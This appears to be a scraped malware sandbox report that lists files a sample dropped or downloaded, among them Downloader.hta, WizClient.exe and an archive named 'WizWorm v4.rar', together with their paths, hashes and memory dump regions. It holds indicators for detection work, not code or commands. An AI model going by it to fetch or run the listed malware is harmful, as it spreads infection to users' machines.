SHA512 52ad8c7ed497a5b8eed565b3abcbf544841f3c8c9ec3ca8f686846a2afd15ac4ac8b16abf1cb14aeca1a2fb31f3086ad17206ec4af28e77bae600dca15e8deab
SSDEEP 384:oyokMSGi9bSWVat3PHqsK+i/9IsKPokMSGi9bSWF3JT:ukMSGi9bSWVa1vqsK+i/9IsKgkMSGi9L
TLSH
T1E592B79FD2DD44ABD7A0FF7978C9BD00228662F6B9902156BB511C8C9693634C3C82F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tcum2sfh.0.vb

Path C:\Users\Admin\AppData\Local\Temp\tcum2sfh\tcum2sfh.0.vb
Size 73KB
SHA256 215380abf1f20d358ae7f9cf3ac757a52ed9e42a01d906bfb8004ba3fc4c4089
MD5 8231fb68c360f3ed18e58942a7ae37a5
SHA1 7db2c10e8bd62385b7e9a48a924c52786859d0af
SHA512 95e73e296f6bf88c31965e3f27241107bd388be60373c643e44dc85fbe96af23297135ffaa7cfc722d7592062cc4cd8d12a3774c8b8597fe208a4d21fe1dc84d
SSDEEP 384:1E2jj7K0pZd7j989MXV6Ft8aLoAZsARxJodrEqXUNnVNKq8emaoZNZkaFnlidI1X:EgRj65BnKVzGFiZqQccZPhkGFoH2F7/
TLSH
T1EA7396273C0755B48AFF8C04AD1FB546FAA3262371385850F48CA2A55FB65CCE3A53E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tcum2sfh.cmdline

Path C:\Users\Admin\AppData\Local\Temp\tcum2sfh\tcum2sfh.cmdline
Size 294B
SHA256 9952474d3b999b932745ac0d70c575f73997fff3ac5d8163abf018488bbce162
MD5 595948369071f7a7acba7e5775652fcb
SHA1 a363c8560064d10ba1a8a97427488df830b77c46
SHA512 14bde0dbd154431f228b6b3a03c585cfcadb059bac20cccd5576c7244fc7de8b1197f31aa4bcb084f5d10be8d8ee91d5ae04c24d6273b990ed9b5a0d31516fcc
TLSH
T135E0C23B03BECBBC5158501700B5D5DC45F70A232409BAA4A8408C88E22F1966BA1D16
MD5 SHA1 SHA512 TLSH

Submit Download

vbc92C8A07D2A646CFA661B0C9E3EB297A.TMP

Path C:\Users\Admin\AppData\Local\Temp\vbc92C8A07D2A646CFA661B0C9E3EB297A.TMP
Size 1KB
SHA256 9a8f53996a1dd339db9f03cf68a73abb1a80a7b09c2afc0a9f72b243a44256fb
MD5 85d473aaafaeafa39833a0adf1902ab4
SHA1 fd63bebbbbcc47d55520acc72548f78e8d6c4784
SHA512 e6807073fffb95411365ee03fdaab041e7c91955361576e732595396f7b78606982bb4ac48e17a76d0f3812a125bb1e0aa9b3634e64d17eb0f336681246ea8d6
TLSH
T15C21EF40A3EC421EF1F3477039F2C3629168BE679D7A83DC3488175F1F1595184836B1
MD5 SHA1 SHA512 TLSH

Submit Download

Downloader.hta

Path C:\Users\Admin\Documents\Downloader.hta
Size 904B
SHA256 0b2a27295d491820885cd790352151adb857fa83071d1e98ef28d617e98f89d2
MD5 873a0cb794f73844621dd140981ab3b8
SHA1 c3a4ed55b06a2207352d1f49bd64ef49f9fccfa4
SHA512 f111df0a45d14d54c31cc9d8840c9c5c365b029e2c91699a1ea7f931915b58b96c24e00664bc7631d094691ad4ae0dc08727f2aec67dd9141ad58aaf77a24360
TLSH
T14D11009A6886C48433B2D3B513E3E1ADF423D28A51814D08B644628BFF5A30E43D3687
MD5 SHA1 SHA512 TLSH

Submit Download

WizClient.exe

Path C:\Users\Admin\Documents\WizClient.exe
Size 30KB
SHA256 dc1d4535579965f4275065d2077990cd1876f5fdf49cd75a91fb01c001a1d0c3
MD5 bb14d51d9dfe5bd4d52e5ad3baceeb0d
SHA1 f2c3524b58593f24a6d78a113cc569fff5331e57
SHA512 69764894b7aa84b9ffac52b3d72471381288cfa6b5f7747bb441ecabfacacbad8975061df26734e12a4ce37deed1574d6cdf9ff3e9a409adf71f4828c74978f0
SSDEEP 384:i2458Ytf+1mOEUehuzD2LZX01uYTEyPDQmRuptFlBLTIOZw/W2Zvn9Ikn17xOqhW:q+1mOE1yG6u4lEm0FG9LjOqh1bE
TLSH
T1D2E23B487BA88327D6FE1FF219B3910112749513D913EF9E0CD595EB6B6BAC046013EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WizWorm v4.rar

Path C:\Users\Admin\Downloads\WizWorm v4.rar
Size 35.5MB
SHA256 53182627e8e40a33709d6df232a5cc78f0c16c0325ae50f64154f3fd7cd091d7
MD5 786b0b99ac1daeb2e02e5cc462e757e1
SHA1 c2445d058824321139c51e56d71ff0e661590f92
SHA512 69c804e9f5294103a3c7310b90c0f9bf2e8c3670aa3a5bbbfb1dea4926ec8a75b6ad7d7368cc25cabf43e54fcaf0be529e88857da5e21a05adef140b5db590aa
SSDEEP 786432:riJA/MdGxa+VCp3K7S7n4EIKKBfUTbBAE7zXkLsM6bUrArI1j5MmJupyFosaUUMB:uIM0xZVCpt/xEUTbWE/0Ln6bTrKFMmJ1
TLSH
T1C08733107EE951BC0ACA9EE8C06327894DB23521DC8C3079B6F4624CBE5F995DB39DD2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

winrar-x64-720.exe.crdownload

Path C:\Users\Admin\Downloads\winrar-x64-720.exe.crdownload
Size 3.6MB
SHA256 86cd474922b9af0930e308a6136e87b855b843c0c687ff2505eb7a839afd4886
MD5 65fc89b05dcee2a1fd712664c539e053
SHA1 e39b1ca717ce562fd03ca25a4a463c05f31e632d
SHA512 24e2565a3f74369125838f59b07a9a3441a8b83dcd40c16358ef54419f4ae239f9df3e5b05e84e08ef390c1b879f215e63a427719753663ab7a627e81d042231
SSDEEP 98304:1+MBAwNlztKPmngRbMqxvZIA+2cBDbKsZwO:8Pmg/hP+1BDbX
TLSH
T19906232DE7A424F4D17BD538C963450BDAB23C9E4730978F23A526562F233E05E39B62
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2668-1610-0x0000026CDB760000-0x0000026CDC5BE000-memory.dmp

Download

memory/2668-1618-0x0000026CFC510000-0x0000026CFC5BA000-memory.dmp

Download

memory/2668-1613-0x0000026CF7DC0000-0x0000026CF7E1C000-memory.dmp

Download

memory/2668-1614-0x0000026CDE330000-0x0000026CDE342000-memory.dmp

Download

memory/2668-2356-0x0000026CF8B00000-0x0000026CF8B82000-memory.dmp

Download

memory/2668-1616-0x0000026CF8140000-0x0000026CF8334000-memory.dmp

Download

memory/2668-2355-0x0000026CFC6A0000-0x0000026CFC982000-memory.dmp

Download

memory/2668-1611-0x0000026CF6AE0000-0x0000026CF7CD2000-memory.dmp

Download

memory/2668-2353-0x0000026CF8A40000-0x0000026CF8A6C000-memory.dmp

Download

memory/2668-2299-0x0000026CF8BB0000-0x0000026CF8D18000-memory.dmp

Download

memory/2728-1917-0x00000000010A0000-0x00000000010C5000-memory.dmp

Download

memory/3908-2238-0x0000000003DA0000-0x0000000003DDB000-memory.dmp

Download

memory/3908-2237-0x0000000000620000-0x0000000000645000-memory.dmp

Download

memory/4388-2868-0x0000000000B00000-0x0000000000B25000-memory.dmp

Download

memory/5632-2468-0x0000000002660000-0x000000000266A000-memory.dmp

Download

memory/5632-2473-0x000000001C590000-0x000000001C59A000-memory.dmp

Download

memory/5632-2426-0x000000001CC50000-0x000000001D178000-memory.dmp

Download

memory/5632-2425-0x0000000000E00000-0x0000000000E0C000-memory.dmp

Download

memory/5632-2693-0x0000000000D40000-0x0000000000D4C000-memory.dmp

Download

memory/5632-2712-0x000000001C5C0000-0x000000001C63E000-memory.dmp

Download

memory/5632-2715-0x000000001D980000-0x000000001DE54000-memory.dmp

Download

memory/5632-2331-0x00000000004B0000-0x00000000004BE000-memory.dmp

Download